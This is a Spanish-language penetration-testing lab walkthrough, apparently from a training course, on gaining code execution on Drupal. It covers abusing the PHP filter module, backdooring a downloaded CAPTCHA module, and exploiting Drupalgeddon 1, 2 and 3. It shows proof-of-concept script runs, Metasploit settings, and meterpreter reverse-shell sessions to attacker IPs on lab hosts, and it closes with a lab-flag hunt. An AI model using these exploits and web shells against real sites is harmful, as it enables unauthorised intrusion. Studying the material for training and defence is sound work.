Ahora que hemos confirmado que nos enfrentamos a Drupal y hemos identificado la versión, veamos qué configuraciones erróneas y vulnerabilidades podemos descubrir para intentar obtener acceso a la red interna.
A diferencia de algunos CMS, obtener un shell en un host Drupal a través de la consola de administración no es tan fácil como simplemente editar un archivo PHP que se encuentra dentro de un tema o cargar un script PHP malicioso.
Aprovechar el módulo de filtro PHP
En versiones anteriores de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el PHP filtermódulo que "Permite evaluar fragmentos/código PHP incrustados".
Desde aquí, podemos marcar la casilla de verificación junto al módulo y desplazarnos hacia abajo hasta Save configuration. A continuación, podemos ir a Contenido --> Agregar contenido y crear un Basic page.
Ahora podemos crear una página con un fragmento de código PHP malicioso como el que se muestra a continuación. Hemos nombrado el parámetro con un hash md5 en lugar del común cmdpara ponernos en práctica y no dejar una puerta abierta a un atacante durante nuestra evaluación. Si usamos el estándar, system($_GET['cmd']);nos exponemos a un posible ataque "de pasada" que se cruce con nuestro shell web. Aunque es poco probable, ¡más vale prevenir que curar!
También queremos asegurarnos de configurar el menú desplegable Text format en PHP code. Después de hacer clic en guardar, seremos redirigidos a la nueva página, en este ejemplo http://drupal-qa.inlanefreight.local/node/3. Una vez guardado, podemos solicitar la ejecución de comandos en el navegador agregando ?dcfdd5e021a869fcc6dfaef8bf31377e=idal final de la URL para ejecutar el comando ido usar cURL en la línea de comandos. Desde aquí, podríamos usar un comando bash de una sola línea para obtener acceso al reverse shell.
A partir de la versión 8, el módulo Filtro PHP no se instala de forma predeterminada. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos. Dado que estaríamos modificando y añadiendo algo a la instancia Drupal del cliente, es posible que queramos consultarlo primero con ellos. Comenzaremos descargando la versión más reciente del módulo desde el sitio web de Drupal.
Una vez descargado vaya a Administration>> .ReportsAvailable updates
Nota: La ubicación puede variar según la versión de Drupal y puede estar en el menú Extender.
Desde aquí, haga clic en Browse,seleccionar el archivo del directorio donde lo descargamos y luego haga clic en Install.
Una vez instalado el módulo, podemos hacer clic en él Contenty crear una nueva página básica, de forma similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionar PHP codeen el Text formatmenú desplegable.
Con cualquiera de estos ejemplos, debemos mantener informado a nuestro cliente y obtener su permiso antes de realizar este tipo de cambios. Además, una vez que hayamos terminado, debemos eliminar o deshabilitar el módulo PHP Filter y eliminar todas las páginas que hayamos creado para obtener la ejecución remota del código.
Cómo cargar un módulo con un backdoor
Drupal permite a los usuarios con los permisos adecuados cargar un nuevo módulo. Se puede crear un módulo con puerta trasera añadiendo un shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como CAPTCHA . Desplácese hacia abajo y copie el enlace del archivo tar.gz.
Descargue el archivo y extraiga su contenido.
afsh4ck@kali$ wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
afsh4ck@kali$ tar xvf captcha-8.x-1.2.tar.gz
A continuación, debemos crear un archivo .htaccess para darnos acceso a la carpeta. Esto es necesario porque Drupal niega el acceso directo a la carpeta /modules.
La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copie ambos archivos en la carpeta captcha y cree un archivo.
Suponiendo que tenemos acceso administrativo al sitio web, haga clic en Managey luego Extenden la barra lateral. A continuación, haga clic en el + Install new modulebotón y seremos llevados a la página de instalación, como:
A lo largo de los años, el núcleo de Drupal ha sufrido algunas vulnerabilidades graves de ejecución remota de código, cada una de ellas denominada Drupalgeddon. Al momento de escribir este artículo, existen 3 vulnerabilidades de Drupalgeddon.
CVE-2014-3704 , conocida como Drupalgeddon, afecta a las versiones 7.0 a 7.31 y se corrigió en la versión 7.32. Se trataba de una falla de inyección SQL autenticada previamente que podía utilizarse para cargar un formulario malicioso o crear un nuevo usuario administrador.
CVE-2018-7600 , también conocida como Drupalgeddon2, es una vulnerabilidad de ejecución remota de código que afecta a las versiones de Drupal anteriores a 7.58 y 8.5.1. La vulnerabilidad se produce debido a una limpieza de entrada insuficiente durante el registro del usuario, lo que permite la inyección maliciosa de comandos a nivel del sistema.
CVE-2018-7602 , también conocida como Drupalgeddon3, es una vulnerabilidad de ejecución remota de código que afecta a varias versiones de Drupal 7.x y 8.x. Esta falla aprovecha una validación incorrecta en la API de formularios.
Veamos cómo explotar cada uno de ellos.
Drupalgeddon
Como se indicó anteriormente, esta falla se puede explotar aprovechando una inyección SQL previa a la autenticación que se puede utilizar para cargar código malicioso o agregar un usuario administrador. Intentemos agregar un nuevo usuario administrador con este script de prueba de concepto . Una vez que se agrega un usuario administrador, podemos iniciar sesión y habilitar el PHP Filtermódulo para lograr la ejecución remota de código.
Al ejecutar el script con la flag -h nos muestra el menú de ayuda.
Aquí vemos que debemos proporcionar la URL de destino y un nombre de usuario y contraseña para nuestra nueva cuenta de administrador. Ejecutemos el script y veamos si obtenemos un nuevo usuario administrador.
Ahora veamos si podemos iniciar sesión como administrador. ¡Podemos! Ahora, desde aquí, podemos obtener un shell a través de los diversos medios que se comentaron anteriormente en esta sección.
Podemos usar esta PoC para confirmar esta vulnerabilidad.
afsh4ck@kali$ python3 drupalgeddon2.py
################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes
Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/
Check: http://drupal-dev.inlanefreight.local/hello.txt
Podemos comprobarlo rápidamente con cURL y ver que el archivo hello.txt realmente se ha cargado.
A continuación, ejecute el script de explotación modificado para cargar nuestro archivo PHP malicioso.
afsh4ck@kali$ python3 drupalgeddon2.py
################################################################
# Proof-Of-Concept for CVE-2018-7600
# by Vitalii Rudnykh
# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders
# https://github.com/a2u/CVE-2018-7600
################################################################
Provided only for educational or information purposes
Enter target url (example: https://domain.ltd/): http://drupal-dev.inlanefreight.local/
Check: http://drupal-dev.inlanefreight.local/mrb3n.php
Finalmente, podemos confirmar la ejecución remota de código usando cURL.
Drupalgeddon3 es una vulnerabilidad de ejecución remota de código autenticado que afecta a varias versiones del núcleo de Drupal. Requiere que un usuario tenga la capacidad de eliminar un nodo. Podemos explotar esto usando Metasploit, pero primero debemos iniciar sesión y obtener una cookie de sesión válida.
Una vez que tenemos la cookie de sesión, podemos configurar el módulo de exploit en metasploit de la siguiente manera.
msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15
msf6 exploit(multi/http/drupal_drupageddon3) > show options
Module options (exploit/multi/http/drupal_drupageddon3):
Name Current Setting Required Description
---- --------------- -------- -----------
DRUPAL_NODE 1 yes Exist Node Number (Page, Article, Forum topic, or a Post)
DRUPAL_SESSION SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y yes Authenticated Cookie Session
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST drupal-acc.inlanefreight.local no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 User register form with exec
Si tiene éxito, obtendremos un shell en el host de destino.
msf6 exploit(multi/http/drupal_drupageddon3) > exploit
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Token Form -> GH5mC4x2UeKKb2Dp6Mhk4A9082u9BU_sWtEudedxLRM
[*] Token Form_build_id -> form-vjqTCj2TvVdfEiPtfbOSEF8jnyB6eEpAPOSHUR2Ebo8
[*] Sending stage (39264 bytes) to 10.129.42.195
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.42.195:44612) at 2021-08-24 12:38:07 -0400
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : app01
OS : Linux app01 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
Trabaja con todos los ejemplos de esta sección y obtén RCE de múltiples maneras a través de las distintas instancias de Drupal en el host de destino. Cuando hayas terminado, envía el contenido del archivo flag.txt en el directorio /var/www/drupal.inlanefreight.local.
Vamos a usar drupaggedon
msf6 exploit(multi/http/drupal_drupageddon) > set rhosts 10.129.48.231
rhosts => 10.129.48.231
msf6 exploit(multi/http/drupal_drupageddon) > set vhost drupal-qa.inlanefreight.local
vhost => drupal-qa.inlanefreight.local
msf6 exploit(multi/http/drupal_drupageddon) > set lhost 10.10.15.75
lhost => 10.10.15.75
msf6 exploit(multi/http/drupal_drupageddon) > exploit
[*] Started reverse TCP handler on 10.10.15.75:4444
[*] Sending stage (40004 bytes) to 10.129.48.231
[*] Meterpreter session 1 opened (10.10.15.75:4444 -> 10.129.48.231:42294) at 2024-12-06 15:50:33 +0000
meterpreter > getuid
Server username: www-data
Vamos al directorio /var/www:
meterpreter > cd /var/www
meterpreter > ls
Listing: /var/www
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040755/rwxr-xr-x 4096 dir 2021-08-24 01:30:13 +0000 app.inlanefreight.local
040750/rwxr-x--- 4096 dir 2021-09-21 01:31:24 +0000 blog.inlanefreight.local
040755/rwxr-xr-x 4096 dir 2021-09-21 04:31:01 +0000 dev.inlanefreight.local
040755/rwxr-xr-x 4096 dir 2021-08-24 16:35:20 +0000 drupal-acc.inlanefreight.local
040755/rwxr-xr-x 4096 dir 2021-09-16 22:21:20 +0000 drupal-dev.inlanefreight.local
040755/rwxr-xr-x 4096 dir 2021-08-24 14:34:47 +0000 drupal-qa.inlanefreight.local
040755/rwxr-xr-x 749568 dir 2021-09-21 02:17:47 +0000 drupal.inlanefreight.local
040755/rwxr-xr-x 4096 dir 2021-08-16 18:15:18 +0000 html